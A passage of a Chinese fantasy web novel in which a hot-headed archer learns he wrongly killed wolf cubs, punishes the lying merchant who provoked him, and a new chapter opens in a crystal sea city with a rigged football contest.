云河却迎了上去,拦在他面前。
“你去哪儿了?”
公孙潜龙抬起头,看着她,目光涣散,像是隔着一层浓雾,没认出她是谁。过了好一会儿,他才开口,声音沙哑得像砂纸磨过石头,又像锈蚀多年的铁门被强行推开:
“我……我杀了它们……”
“杀了什么?”
“幼崽。”公孙潜龙的声音在发抖,那颤抖从声音蔓延到肩膀,再蔓延到全身,“狼窝里的幼崽。我以为……我以为它们是那条反噬主人的狼的后代,将来也会伤人……我找到了狼窝,在林子里,一个隐蔽的山洞里。里面有四只幼崽,眼睛还没睁开,挤在一起取暖……”
他说不下去了,喉结上下滚动,像是有什么东西堵在那里。
陈瑶瑶捂着嘴,不敢出声。
云河静静地等着。
“我……我杀了三只。”公孙潜龙终于继续说下去,每一个字都像是从牙缝里挤出来的,“最后一只……最后一只我看着它,它那么小,那么软,连叫都不会叫,只是往我手心里拱……我下不去手……”
他说着,抬起自己的手。
那双手修长有力,此刻却沾满了血。血迹已经干涸,变成暗红色的斑块,覆在每一道掌纹里。那双手在月光下微微颤抖,像是承受不住什么重负。
“我以为我在替天行道,我以为我在为那个死去的媳妇和老娘报仇……我以为……”
云河看着他,沉默了一瞬。
那沉默像一块石头,压在每个人心上。
然后她开口了,声音很轻,轻得像一片落叶,却像一把刀,精准地插进他心里:
“你杀错了。”
公孙潜龙猛地抬起头,眼睛里终于有了一丝焦距。那焦距里带着困惑,带着恐惧,带着某种他不愿承认的预感。
“什么?”
云河把下午调查到的事情原原本本说了一遍。从郭狈如何靠卖兽用品发家,到娶了心善的媳妇余裕;从余裕如何疼爱那条从小养大的狼,到郭狈因嫉妒而虐待它;从郭狈砍断狼的四肢,天天折磨它,到狼的母亲带着狼群来报仇;从郭狈把自己的儿子推出去挡灾,到余裕冲进去救儿子被咬死;最后到郭狈被官府赶出来,编造谎言骗人。
她讲得很平静,没有添油
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加醋,没有情绪渲染,只是把事实一件件摆出来。可正是这种平静,让那些事实更加触目惊心。
公孙潜龙听着,脸色越来越白,最后白得像一张纸,白得像月光,白得像死人的脸。
“所以……那条狼没有反噬主人?是……是郭狈虐待它在先?那些幼崽……那些幼崽是来报仇的母狼的孩子?”
云河点了点头。
公孙潜龙的身体晃了晃,像一棵被砍断根基的树,差点摔倒。他扶住门框,大口大口地喘气,像是溺水的人刚浮出水面,像是被人扼住了喉咙。
“我……我杀了无辜的……我……”
他忽然抬起头,眼睛里燃烧起疯狂的怒火。那怒火炽烈得像要把一切都烧成灰烬,可那怒火深处,是无尽的悔恨和自责。
“郭狈!那个畜生!他在哪儿?!”
陈瑶瑶被他眼中的怒火吓了一跳,结结巴巴地说:“他、他躲在城外的破庙里,往东走,过了那座石桥就能看见——”
话没说完,公孙潜龙已经冲了出去。
他的速度快得像一道闪电,快得像一支离弦的箭,快得像一头被激怒的豹子。藏蓝色的身影瞬间消失在夜色里,只留下空气中淡淡的血腥味。
陈瑶瑶愣在原地,过了好一会儿才反应过来。
“他……他不会把郭狈杀了吧?”
云河抱起脚边的发财,迈步往外走。
“去看看就知道了。”
她的声音依旧淡淡的,可步子却比平时快了几分。
月光下,两个身影急匆匆地穿过街道,往城外的破庙赶去。发财趴在云河怀里,两只大耳朵被风吹得一掀一掀的,黑葡萄似的眼睛里满是困惑——它不明白,为什么主人今天走得这么快。
她们赶到破庙的时候,月亮正好从云层里钻出来,把破庙照得亮堂堂的。
破庙的角落里,郭狈蜷缩成一团,瑟瑟发抖,像一只被追到绝路的老鼠。他的脸上满是惊恐,额头的伤口还在往外渗血,糊了半张脸。
公孙潜龙站在他面前,手里拎着那张写着绶国律法的告示。月光从破洞里照下来,落在他的侧脸上,照出半明半暗的轮廓。他的眼睛红得吓人,像是要滴出血来。
告示的一角还在往下滴血。
那是狼崽的血。
她们找到郭狈的时候,他正蜷缩在一个破庙的角落里,瑟瑟发抖。
那破庙不知荒废了多久,屋顶破了几个大洞,月光从破洞里照下来,落在他身上,照出一张惊恐的脸——脸色惨白,眼窝深陷,嘴唇干裂,像一只被追到绝路的老鼠。
公孙潜龙站在他面前,手里拎着那张写着绶国律法的告示。月光从破洞里照下来,落在他的侧脸上,照出半明半暗的轮廓,像一尊怒目金刚。
“郭狈,”他的声音低沉,像是从胸腔里挤出来的,“我再问你一遍,你家的狼,真的反噬了你的妻子和老母?”
郭狈拼命点头,头点得像小鸡啄米:“是、是真的!公子,你要相信我!”
公孙潜龙盯着他,看了很久。
那目光像两把刀,要把他的骨头都剖开。
然后他把那张告示往地上一扔。告示飘飘荡荡落下来,落在郭狈脚边。
“我查过了。”他一字一字道,每个字都像一颗钉子钉在地上,“你做过什么,我都知道了。”
郭狈的脸瞬间惨白,比月光还白。
“你、你知道了什么……”
“你虐待你的狼,砍了它的四肢。”公孙潜龙的声音冷得像冰,像腊月的风,像淬了寒铁的刀,“然后它的母亲来报仇,你把自己的儿子推出去挡灾。你媳妇冲进去救儿子,被咬死了。你老娘呢?你老娘早就死了,三年前就死了,病死在家里,和狼一点关系都没有!”
郭狈的身体剧烈地颤抖起来,像是风中的落叶。
“你、你胡说!我没有——”
“没有?”公孙潜龙打断他,声音陡然拔高,“你街坊邻居都看见了,都听见了。你虐待那条狼的时候,它叫了三天三夜,半个巷子的人都听见了。你媳妇回娘家的时候,她亲口对你邻居说,你要是再敢动那条狼,她就再也不回来。你儿子被狼咬的时候,有人在远处看见了,亲眼看见你把他推出去,自己跑了!”
郭狈张着嘴,说不出话来。
他的嘴张了又合,合了又张,像一条搁浅的鱼。
公孙潜龙看着他,眼里满是厌恶。那厌恶浓得像墨,化都化不开。
“你来找我,说什么狼反噬,说什么妻子老母被咬死,说什么被官府赶出来无处可去——你编得好故事!你知道我是什么人,你知道我能灭小国,你想借我的手,灭了绶国,替你报仇!”
郭狈的身体抖得更厉害了,像是筛糠一样。可他的眼里忽然迸发出一股疯狂的光芒,那光芒亮得吓人,像是濒死之人的回光返照。
“我没错!”他忽然尖叫起来,声音尖利得像夜枭,“我奋斗了十六年!从一穷二白到绶国闻名前三的商者,人人都用我的兽粮,人人都认得我的名字,凭什么到最后别人功成名就,我家破人亡!如果不是那畜生,阿裕根本不会离开我!她居然把畜生当孩子,甚至比儿子都重视!!可笑至极!!”
他的声音在破庙里回荡,撞在墙上,又弹回来,一声接一声,像一头受伤的野兽在嚎叫。
公孙潜龙看着他,眼里满是复杂。
这时候,云河从暗处走了出来。
月光落在她身上,月白色的布衣泛着淡淡的光,衬得她整个人像从月亮里走出来的。
“入乡随俗。”她开口了,声音淡淡的,却像一把刀切开了郭狈的嘶吼,“这里是绶国,以兽为尊。你要么离开,要么遵守这里的规则。你既享受这里的待遇——靠卖兽用品发家,赚得盆满钵满——又斥责这里的规则,说它不把人当人。要么改变,要么适应,哪来那么多屁话?什么好处都让你占了?”
郭狈猛地转过头,看见云河,又看见她身后的陈瑶瑶,眼里闪过一抹疯狂。
那疯狂像野火一样烧起来,烧光了他最后的理智。
他忽然暴起,像一只被逼到绝路的野兽,一把抓住陈瑶瑶,把她拉到自己身前,一手勒住她的脖子,一手不知从哪里摸出一把匕首,抵在她的喉咙上。
那匕首很锋利,月光下闪着寒光。
“别过来!”他尖叫道,声音都破了音,“谁敢过来我就杀了她!”
陈瑶瑶吓得魂飞魄散,连叫都叫不出来,只觉得喉咙上冰凉的刀刃,刺得她皮肤生疼。她甚至能感觉到刀刃下的血管在跳,一下一下,像是生命的倒计时。
公孙潜龙脸色一变,正要上前,云河抬手拦住他。
“别动。”她低声说,声音很平静,平静得不像是在这种时候该有的声音。
郭狈拖着陈瑶瑶,一步步往后退,退到墙角。他的背抵着墙,眼睛死死盯着面前的三个人,像一只被围猎的野兽。
“你们别想抓我!我没错!是这破地方的规矩害了我!是那条畜生害了我!是阿裕那个贱人害了我!她要是听我的,把那畜生赶走,什么事都不会有!她非要护着它,非要跟它亲近,把我当什么?把我当什么!”
他越说越激动,手里的匕首不住颤抖,陈瑶瑶的脖子上已经被划出一道血痕,血珠子渗出来,顺着脖子往下流。
公孙潜龙看着他,眼里最后一丝复杂消失了,只剩下冰冷的杀意。
那杀意浓得像实质,让周围的空气都冷了几分。
他最恨的,就是欺压弱小的人。
他缓缓抬起手。
四支箭不知何时出现在他指间,箭羽鲜红如火,在月光下像是四簇燃烧的火焰。
“郭狈。”他开口,声音平静得可怕,像是暴风雨前的宁静,“你放开她。”
郭狈疯狂地摇头,脖子摇得都快断了:“不放!你们让我走,让我离开这里,我就放了她!”
公孙潜龙没说话。
他的手动了。
四支箭同时飞出。
那四支箭快得像闪电,快得像流星,快得像光——在空中划过四道红色的弧线,直奔郭狈而去。
陈瑶瑶只觉得耳边嗖嗖几声,像是四只飞鸟掠过。紧接着就听见郭狈发出一声惨叫,那叫声凄厉得像杀猪。
他的手松开了。
匕首当啷一声掉在地上,弹了两下,滚到墙角。
陈瑶瑶踉跄着往前跑了几步,被云河一把扶住。她的手很稳,稳稳地扶着陈瑶瑶的肩膀。陈瑶瑶回过头,看见郭狈倒在地上,四肢各插着一支箭,箭羽还在微微颤动。
那四支箭,分毫不差地射穿了他的双手手腕和双脚脚踝。
公孙潜龙走到他面前,低头看着他。
月光从破洞里照下来,落在两人身上,一个站着,一个躺着,像一幅画。
郭狈躺在地上,疼得浑身抽搐,嘴里还在喃喃:“我没错……我没错……”
公孙潜龙没有理他,只是弯腰,把他拎了起来。
他拎着他,像拎着一只死狗,走出破庙,走进夜色。
云河扶着陈瑶瑶,跟了上去。
公孙潜龙拎着郭狈,来到一处山崖。
山崖下是一片林子,月光照下来,树影幢幢,像无数鬼魅在跳舞。林子里蹲着一群狼,绿莹莹的眼睛在黑暗中闪烁,像一盏盏小灯笼。
为首的是一头母狼,体型比别的狼都大,皮毛灰白,像是披了一身霜。它的眼睛幽绿,像是两颗宝石。它的身边,只剩一只毛球,瑟瑟发抖。
公孙潜龙把郭狈往地上一扔,跪在母狼面前。
“错当罚。”他说,“你随便咬。”
母狼盯着他,看了很久。
那目光幽深,像是在打量一个奇怪的东西。
然后它站起身,一步一步走过来。
它的步伐很稳,每一步都踏得很实,爪子在月光下泛着寒光。
它走到郭狈面前,低头看着他。
郭狈浑身发抖,嘴里还在喃喃:“不要……不要……”声音越来越低,越来越弱,像一只濒死的蚊子。
母狼低下头,在他身上嗅了嗅。
那鼻息喷在郭狈脸上,他抖得更厉害了。
然后它张开嘴,咬了下去。
郭狈的惨叫声在山谷里回荡,惊起一群夜鸟。那些鸟扑棱棱飞起来,遮住了半边月亮。
那惨叫声持续了很短的时间,然后就停了。
山谷重新安静下来。
母狼抬起头,嘴角沾着血。它看了公孙潜龙一眼,那眼神很复杂,像是在看一个奇怪的东西——有感激,有困惑,有某种说不清的情绪。
然后它转过身,走到幼崽身边,叼起转身走进了林子,其他隐隐的狼群也跟着离去,消失在夜色里。那些绿莹莹的眼睛一盏盏熄灭,像是被风吹灭的蜡烛。
公孙潜龙跪在原地,看着它们消失的方向,一动不动。
月光照在他身上,照出一张茫然的脸。
那茫然里带着困惑,带着不解,带着某种他从未体验过的东西。
陈瑶瑶扶着云河,从暗处走出来。
她浑身是血——那是刚才被郭狈挟持时溅上的,半身都是红的。月光照在她身上,那些血看起来黑沉沉的,像是泼上去的墨。她的脸色苍白,脚步虚浮,却还是走了过来。
公孙潜龙听见脚步声,回过头,看着她。
“我杀了她的孩子。”他说,声音很轻,轻得像一片落叶,像是在问自己,“为什么她不咬我?”
陈瑶瑶张了张嘴,不知道该怎么回答。
云河从她身后走出来,抱着发财,站在月光下。
发财缩在她怀里,两只大耳朵盖着眼睛,不敢看地上的郭狈。
“兽论迹不论心。”她淡淡道,声音在夜风中飘散,“你救了她的幼崽,她记住了。还你恩情罢了。”
公孙潜龙愣住了。
“我……救了她的幼崽?”
“那几只幼崽,是她的孩子。”云河说,“你把郭狈交给她,替她的孩子报了仇。她认这个恩情。”
公孙潜龙沉默了很久。
月光落在他身上,照出他微微颤抖的肩膀。
然后他低下头,看着自己沾满血的手。
那双手修长有力,此刻却沾满了血。有郭狈的血,有他自己的血,还有不知谁的血。
“人善于以己心论物,”云河的声音在夜风中飘散,像是一缕若有若无的烟,“岂知万物皆有自我运行法则。岂是巴掌大的心,能揣摩的。”
风从山崖下吹上来,带着林子的气息,带着野兽的气息,带着血腥的气息。
那风吹得衣袂猎猎作响,吹得头发飞扬。
陈瑶瑶站在那里,看着月光下的三个人影——跪着的公孙潜龙,站着的云河,还有她自己。
她忽然想起德德镇,想起那个每年要送一个少女上山的规矩。那个规矩的背后,是不是也有什么她不知道的“运行法则”?
她不知道。
她只知道,这一刻,她忽然明白了一件事——
这万境之中,人不是唯一的主人。
兽也不是。
每一个存在,都有自己的法则,自己的逻辑,自己的道理。
人以为自己是万物之灵,可以评判一切,可以裁决一切。
可其实,人只是万境中的一种存在而已。
和兽一样。
和草木一样。
和山川日月一样。
风继续吹。
月亮慢慢往西沉。
公孙潜龙终于站了起来。他走到陈瑶瑶面前,低头看着她脖子上那道血痕。
那血痕不深,却触目惊心,像一条红线缠在她脖子上。
“对不起,”他说,“是我太冲动了。差点害了你。”
陈瑶瑶摇摇头:“没事,皮外伤。”她的声音有些沙哑,却努力挤出一个笑。
公孙潜龙看着她,目光很复杂。
那目光里有愧疚,有感激,有某种说不清的东西。
“你叫什么名字?”
“陈瑶瑶。”
“陈瑶瑶。”他重复了一遍,像是在记住这个名字。然后他笑了笑,那笑容在月光下很淡,却很真实,“我记住了。”
他转身,大步流星地走了。
陈瑶瑶看着他的背影,忽然问:“你去哪儿?”
公孙潜龙头也不回:“去找下一个需要帮助的人。”
他的身影消失在夜色里,像是融进了月光。
陈瑶瑶站在原地,看着那个方向,看了很久。
云河走到她身边,顺着她的目光看去。
“别看了,”她说,声音里带着一丝促狭,“眼珠子都快掉出来了。”
陈瑶瑶脸一红,收回目光。
“走吧。”云河转身,往山下走。
陈瑶瑶跟上去,走了几步,忽然想起什么:“对了,大仙,你刚才说的那个——兽论迹不论心——是什么意思?”
云河头也不回:“自己想。”
陈瑶瑶想了想,还是没想明白。
她低头看了看怀里的发财,发财正缩在她怀里,两只大耳朵盖着眼睛,睡得正香。小肚子一起一伏的,打着细细的呼噜。
“发财,”她小声问,“你知道吗?”
发财动了动耳朵,没理她。
陈瑶瑶叹了口气。
算了。
反正她想不明白的事情,多了去了。
5. 海上浮城
陈瑶瑶感觉自己像是在海底游了太久。
那种窒息感是慢慢涌上来的——先是胸口发闷,像是被什么无形的东西压着,喘不上气;然后是耳边嗡嗡的响动,仿佛有深海的水流在鼓膜边回旋,咕噜咕噜,咕噜咕噜。
她想睁眼,眼皮却沉得像坠了铅。她知道自己是在做梦,又知道这不是梦。
万境之间的穿行,总是如此。
就在她以为自己要溺毙的瞬间,身体骤然一轻——
“哗啦!”
她猛地睁开眼,大口喘息,像溺水的人终于浮出水面。
然后她看见了那座城。
陈瑶瑶的呼吸停住了。
那是一座从海面上生长出来的城。不是建在岛上,也不是漂浮在水面——它就是直接从海里长出来的,晶莹剔透,在午后的日光下折射出万千种光芒,晃得人眼睛疼。
城墙是水晶的。
街道是水晶的。
远处的楼阁、近处的拱桥、连岸边停泊的小船,全都泛着半透明的光泽,像是一个巨人用一整块水晶雕出了整座城池,然后轻轻放在了海上。
“水晶城……”陈瑶瑶喃喃道。
发财从她怀里探出脑袋,湿漉漉的鼻子抽了抽,打了个响亮的喷嚏——它也不喜欢刚才那段“海底游”。打完喷嚏,它甩了甩脑袋,耳朵啪嗒啪嗒扇了两下,一脸幽怨地看向陈瑶瑶,那眼神分明在说:下次能不能走门?
云河站在她身侧,白骨伞收拢,伞尖轻轻点在身下的船板上。她们正坐在一艘小船的船头,船身是贝壳打磨而成,半透明,能看见船底下游过的彩色鱼群,红的黄的蓝的,一群一群从船底掠过,像在水里画彩虹。
“醒了就下船。”云河的声音依旧清冷,但目光在那座水晶城上多停了一瞬。
陈瑶瑶顺着她的视线看去,这才发现城的细节——那些水晶墙壁上嵌着珊瑚,红的像火,粉的像霞,有的像鹿角,有的像扇子,密密麻麻挤在一起;屋顶铺的不是瓦,是层层叠叠的珍珠贝,在阳光下泛着虹彩,风一吹,贝片轻轻碰撞,发出叮叮咚咚的脆响,像有人在屋顶弹琴;远处有一座高塔,通体用整块砗磲雕刻而成,顶端镶着一颗拳头大的夜明珠,即便在白日也隐隐透着光,柔柔的,像月亮落在了塔尖。
“这是……什么境?”陈瑶瑶问。
云河没有回答。她垂眸看向伞柄——白鹤正在那里踱步,迈着两条小细腿,昂首挺胸,像巡视领地的将军。它走了两圈,停下来,跳了两下。
两下。
两重任务。
云河的眼皮跳了一下。两重任务,说高不高,说低不低,最是麻烦——意味着事儿肯定有,但不是什么惊天动地的大事,报酬大概也只够买两斤狗粮。
她低头看了看发财。发财正趴在陈瑶瑶怀里,用后腿挠耳朵,挠得专心致志,浑然不知自己主人正在心里盘算它的口粮。
“先找人。”云河说。
岸边泊着许多贝壳船,大的小的,新的旧的,像一群搁浅的贝壳趴在沙滩上。船夫们或坐或躺,有的在打盹,有的在闲聊,有的在补网,等着客人上门。
云河的目光掠过几张面孔,最后停在一个年轻人身上。
他二十出头的年纪,穿着一件洗得发白的短褐,袖口磨出了毛边,却洗得很干净。他正蹲在船头修补渔网,那双手很巧,梭子在网眼间飞快穿梭,一穿一挑一拉,行云流水,看得人眼花缭乱。
但陈瑶瑶注意到,他的眼神时不时飘向不远处的水晶城墙——那里有几个孩子在踢球,用麻绳扎成的鞠飞来飞去,笑声清脆,像一串串银铃铛在风里晃。
他的目光落在其中一个瘦小的身影上,就再也挪不开了。
“坐他的船。”云河说。
陈瑶瑶不解,但还是跟着上了船。船身晃了晃,发财吓得一把抱住陈瑶瑶的胳膊,耳朵竖得笔直。
船夫抬起头,露出一张晒成小麦色的脸,五官周正,笑起来有点憨:“客人去哪儿?城里还是外岛?”
“城里。”云河递过去一枚贝壳币——这是在绶国时公孙潜龙塞给她的,说“万境通用”,她当时还纳闷,公孙潜龙那个穷鬼哪儿来的钱,后来才知道是从郭狈身上顺的。
船夫接过贝壳币,眼睛亮了一瞬,随即又黯下去。他把贝壳币揣进怀里,埋头摇橹,小船便离了岸,向水晶城驶去。
橹划开水面,荡起一圈圈涟漪。海水清澈见底,能看见海底的白沙和珊瑚,偶尔有鱼群从船下游过,发财趴在船边,伸着脖子往下瞅,恨不得跳下去抓两条。
陈瑶瑶坐在船头,看着那些踢球的孩子越来越近。其中一个五六岁的男孩尤其活泼,瘦小的身子在人群里钻来钻去,追着鞠跑得满头大汗。他跑得飞快,像条小泥鳅,谁也拦不住他。
船夫的视线一直追着那个孩子。
“那是你儿子?”陈瑶瑶问。
船夫一愣,随即笑了,笑容里有掩不住的骄傲,眼睛都弯成了月牙:“客人好眼力。那是小鱼,今年六岁。”
“他踢得真好。”
“可不是嘛。”船夫摇着橹,语气里带着笑,“这孩子的脚法,比城里好些大人还强。我每天摇船回来,他就缠着我踢两脚。我跟他说,爹没本事,你好好练,等长大了……”
他说到这里,声音忽然低了下去,笑容也淡了,像被人拿走了什么东西。
陈瑶瑶顺着他的目光看去,只见那几个孩子已经散了,小鱼一个人抱着鞠,蹲在城墙根下,望着城里的方向。
城里有座高台,隐约能看见有人在上面奔跑、跳跃、踢球。那些身影穿着鲜亮的衣裳,在阳光下像一朵朵移动的花。
“那是鞠场。”船夫说,“过几天就是蹴鞠王大赛。赢了的人,能进城见城主,拿到黄金宝藏。”
“黄金宝藏?”陈瑶瑶的眼睛亮了一下。
船夫苦笑:“都是这么传的。可十年来,拿了冠军的人,没有一个真正带着黄金离开。他们说,宝藏是有的,但得留在城里,替城主做事。”他顿了顿,声音更低了些,“我年轻的时候也想过赢得比赛,可若真是赢了,就得留在那座城里。我家世代都是一介渔夫,哪能跟城里人生活?嗨,不提了。”
他摇着橹,不再说话。
陈瑶瑶看着他低垂的侧脸,忽然想起德德镇的那些大人。他们也是这样,说起某些事的时候,声音会低下去,笑容会淡下去,眼睛里会有什么东西熄灭。
船靠岸时,小鱼跑了过来,一把抱住船夫的腿:“爹!爹!我今天踢进了七个球!比阿贵他们还多两个!”
船夫弯腰摸摸他的头,粗糙的手掌在小鱼脑袋上轻轻拍了拍:“好,好。”他从怀里摸出一块干粮,塞到小鱼手里,“去玩吧。”
小鱼接过干粮,却没有跑开。他仰头看着船夫,眼睛亮亮的,像两颗黑葡萄:“爹,你今年还去当裁判吗?”
船夫的手顿了一下。
“当。”他说,声音很轻,轻得像怕被谁听见。
小鱼高兴地蹦起来,抱着鞠跑远了,边跑边喊:“那我就能在城墙根下看见爹了!”
陈瑶瑶看着他的背影,看着那个小小的身影越跑越远,忽然想起德德镇的自己——那时候,她也曾这样无忧无虑过,不知道头顶悬着怎样的刀。
阙城的鞠场建在城中心,是用整块白玉铺成的方形场地,白得发亮,踩上去能照见人影。四周立着水晶栏杆,栏杆上雕着各种蹴鞠的姿势——抬脚的、跳跃的、转身的、扑球的,栩栩如生,像一群被定格的瞬间。
场子正中竖着一座高约三丈的球门,门中间开着一个两尺见方的孔洞,洞口镶着金边,在阳光下熠熠生辉,像一只金色的眼睛,冷冷地俯视着整个鞠场。
陈瑶瑶站在看台上,看着那个小小的洞,心想:这怎么可能踢得进去?
两尺见方,还没她怀抱大。要从三丈外踢进去,还得穿过防守——这哪是踢球,这是往针眼里穿线。
云河站在她身侧,目光却落在鞠场对面的高台上。那里设着一把珊瑚宝座,宝座用红珊瑚拼成,扶手是两颗拳头大的粉色珍珠,在阳光下泛着柔光。
座上坐着一个异常高大的男人。
他穿着金线织就的长袍,袍子上绣着蹴鞠的图案,针脚细密,栩栩如生。他正低头把玩手里的玉杯,杯中的酒液是浅金色的,像融化的阳光。
城主。
他的身形比常人高出近两个头,肩膀宽得像能扛起整座城。面容倒算俊朗,眉骨高耸,鼻梁挺直,下巴上蓄着短须,修剪得很精致。
只是那双眼睛——
陈瑶瑶隔了这么远,都能感觉到那目光的凉意。不是凶狠,不是阴鸷,而是一种……居高临下的漠然。像人看蚂蚁,像猫看老鼠。他看人的时候,眼睛里没有对方,只有自己。
“蹴鞠王大赛,三日后举行。”一个尖细的声音在旁边响起。
陈瑶瑶转头,看见一个穿着彩衣的宦官,脸白得吓人,像是扑了三层粉。他手里捧着一卷帛书,扯着嗓子念:“凡年满十二、未满六十者,皆可报名。冠军觐见城主,得黄金宝藏——足千两!”
看台上响起一阵骚动。千两黄金,足够寻常人家过十辈子。
陈瑶瑶却注意到,有几个本地打扮的人,听见“千两黄金”时,脸上没有丝毫喜色,反而悄悄低下头去,像怕被谁看见。
宦官继续念:“本届大赛,共三十二人入围。初赛十六场,复赛八场,决赛一场。裁判由……”
他顿了顿,目光扫过人群,像在找什么。最后落在角落里一个穿着旧短褐的身影上。
“由船夫阿渡担任。”
陈瑶瑶心里咯噔一声。
那是载她们进城的船夫。小鱼他爹。
人群里响起窃窃私语,有人不满,有人困惑,但更多的是一种意味深长的沉默——那种“果然如此”的沉默。
阿渡从角落里走出来,低着头,一步一步走到裁判席上坐下。他的手指紧紧攥着膝盖上的布料,指节发白,像要把布料攥出洞来。
高台上,城主举起玉杯,朝阿渡的方向遥遥一敬,嘴角勾起一丝笑意。
那笑意很浅,却像一根针,扎在陈瑶瑶心上。
她忽然明白了。
裁判是他。
城主的孩子——那个站在宝座旁、十五六岁、一脸倨傲的少年——也是参赛者。
赌局早就设好了。
“让一让!让一让!”
一个气喘吁吁的声音从人群后传来。陈瑶瑶回头,看见一个圆滚滚的身影正拼命往这边挤。
那是个十五六岁的少年,生得白白胖胖,脸颊鼓鼓的,像刚出笼的馒头,还冒着热气那种。他穿着一件明显小了的绸衫,扣子绷得紧紧的,仿佛随时会崩开。他满头大汗,汗珠顺着脸颊往下淌,手里还攥着一串糖葫芦,红艳艳的山楂裹着透明的糖衣,看着就甜。
“挤什么挤!”有人推了他一把,“死胖子,看不见前面没地儿了?”
少年被推得一个趔趄,糖葫芦差点脱手。他在空中晃了两晃,好不容易站稳,也不恼,笑嘻嘻地说:“对不住对不住,我就想看看报名处在哪儿。”
“你?”那人上下打量他一眼,嗤笑出声,“你这样的,踢得动鞠吗?”
周围响起一阵哄笑,像一群鸭子在叫。
少年依旧笑嘻嘻的,眼睛眯成一条缝,挤得只剩两条线:“踢着玩儿,踢着玩儿。”
他一边说,一边继续往前挤。经过陈瑶瑶身边时,发财忽然从她怀里探出头,冲着少年“汪”了一声。
少年停下脚步,看着发财,眼睛一亮,那两条线瞬间睁成了两颗黑豆:“好俊的狗!”
发财得意地摇了摇尾巴,耳朵一甩,摆了个自认为很帅的姿势。
少年正要伸手去摸,一个高大的身影忽然从人群里冲出来,一把攥住他的手腕——
“阎鹤!”
那声音又惊又喜,带着几分难以置信,像丢了三年钱袋忽然在路边捡到。
陈瑶瑶抬头,愣住了。
公孙潜龙。
他还穿着绶国那身衣裳,灰扑扑的,沾满了尘土,头发乱糟糟的像鸡窝,脸上还有几道黑印子,活像刚从灶膛里爬出来。
但他的眼睛亮得吓人,死死盯着那个胖少年,像盯着失散多年的亲兄弟。
胖少年——阎鹤——也愣住了。他手里的糖葫芦啪嗒掉在地上,山楂骨碌碌滚出去,糖衣碎成一片。
他看着公孙潜龙,脸上的笑容一点一点消失,眼眶慢慢泛红。
“龙哥?”
公孙潜龙一把将他搂进怀里,狠狠拍着他的后背,拍得砰砰响:“我就知道!我就知道你在这儿!老子找了三个境,总算找着你了!”
阎鹤被拍得直咳嗽,眼泪却止不住地往下流,吧嗒吧嗒砸在公孙潜龙肩上。他推开公孙潜龙,用袖子胡乱抹了把脸,又笑起来,还是那种没心没肺的笑,只是眼眶还红着:“龙哥,你怎么来了?你不是说要灭什么小国吗?”
“灭个屁。”公孙潜龙的声音有些哑,像嗓子眼里堵了什么东西,“老子差点把自己灭了。”
云河静静地看着这一幕,没有说话,只是目光在阎鹤身上多停了一瞬。
陈瑶瑶看看公孙潜龙,又看看那个叫阎鹤的胖少年,心里涌起无数疑问。
发财不管这些,它正盯着地上那串摔碎的糖葫芦,耳朵耷拉下来,发出一声幽怨的呜咽。
黄昏时分,几个人坐在海边的一处礁石上。
夕阳把海面染成橙红色,像一大锅番茄汤。海浪轻轻拍着礁石,哗啦,哗啦,有节奏地响着。
发财趴在一旁,专心致志地舔阎鹤递给它的一块糖糕。那糖糕是软的,黏的,甜的,发财舔得满脸都是糖浆,胡子都黏成了一绺一绺,但它毫不在意,舔得心满意足,喉咙里发出咕噜咕噜的声音。
阎鹤看着它,笑得很慈祥——一个十五岁少年对着一条狗露出慈祥的笑容,这场面多少有点诡异。
“讲讲吧。”公孙潜龙坐在他旁边,抱着胳膊,“你怎么跑这儿来了?”
阎鹤沉默了一会儿,开口了。
他是临淄人——那是个人间境里的繁华城池,以蹴鞠闻名。他从小爱踢球,踢得极好,十岁就能赢过十五六岁的少年。可他也爱吃,越吃越胖,越胖越被人笑。
“胖猪。”他说这两个字的时候,语气很平静,像在说别人的事,像在说今天天气不错,“他们都这么叫我。踢球的时候叫,不踢球的时候也叫。后来我就不爱出门了,天天躲在家里吃。”
公孙潜龙沉默着,拳头攥紧又松开,攥紧又松开,骨节咔咔响。
“可我爹说,你不能躲一辈子。”阎鹤笑了笑,笑容里有不符合年龄的沧桑,像个小老头,“他说,你要真想踢球,就别管别人说什么。球踢得好不好,跟胖不胖没关系,跟你心里有没有那股劲儿有关系。”
于是他又开始踢球。踢得比以前更好,好到临淄城里没人敢叫他胖猪——当面不敢。
后来他遇见一个游方的修者,说他根骨不错,问他愿不愿意去别的境看看。他想了想,点了头。
“我去了很多地方。”阎鹤望着海面上的水晶城,眼神有些悠远,像在看很远很远的地方,“可不管去哪儿,都有人叫我胖子。慢慢的,我也不在乎了。”
公孙潜龙问:“那你为什么来阙城?”
阎鹤沉默了一会儿,说:“因为这里的蹴鞠王大赛。”
“你想赢?”
“想。”阎鹤点头,眼睛里有光,那种光很亮,像灯塔,“我想让那些人看看,胖子也能拿冠军。”
公孙潜龙看着他,嘴唇动了动,想说什么,又咽了回去。
“可你知道那是个局吗?”他压低声音,“城主的孩子也参赛,裁判是那个船夫,他……”
“我知道。”阎鹤打断他,笑了笑,“龙哥,我早就不傻了。可我想试试。”
他顿了顿,声音轻下去,轻得像要被海风吹散:“我娘走得早,我爹一个人把我拉扯大。他说,鹤儿,你要是有出息,就去闯;要是没出息,就回来,爹养你。我走的时候,他站在家门口,一直看着我的背影。我没敢回头。”
海风吹过来,带着咸涩的气息,灌进人嘴里,又苦又咸。
“我想赢一次。”阎鹤说,“赢了,拿了黄金,回去给我爹盖间新房子。他老了,腿不好,冬天总喊冷。”
公孙潜龙沉默了。他看着海面,看着那片橙红色的光,一言不发。
云河忽然开口:“你知道那个船夫为什么当裁判吗?”
阎鹤一愣,摇头。
“他有个儿子,六岁,叫小鱼。”云河的声音很淡,像在说一件无关紧要的事,但每个字都清清楚楚,“那孩子踢球的天赋,不比任何人差。可他是船夫的儿子,这辈子都没机会参赛。”
阎鹤的眼睛慢慢睁大,那两颗黑豆变成了两颗黑葡萄。
“城主让他当裁判,是让他亲手毁掉儿子的梦想。”云河说,“判别人的儿子输,判自己的儿子出局。这样,小鱼永远没有理由怪他——因为他只是个裁判,不是那个能改变结果的人。”
阎鹤的嘴唇动了动,没有说出话来。
公孙潜龙猛地站起身:“这他娘的什么狗屁城主!老子去灭了他!”
“然后呢?”云河看着他,目光平静如水,“灭了城主,这城的规矩就变了?船夫就能送儿子参赛?你就能替阎鹤拿到黄金?”
公孙潜龙噎住了。
他张着嘴,像一条搁浅的鱼。他想起绶国的事。想起那三只死在他剑下的幼狼。想起郭狈那张扭曲的脸。想起母狼的眼神。
他慢慢坐下来。
“这次,先问清楚。”他声音低得像在对自己说,低得像在认错,“问清楚了再动手。”
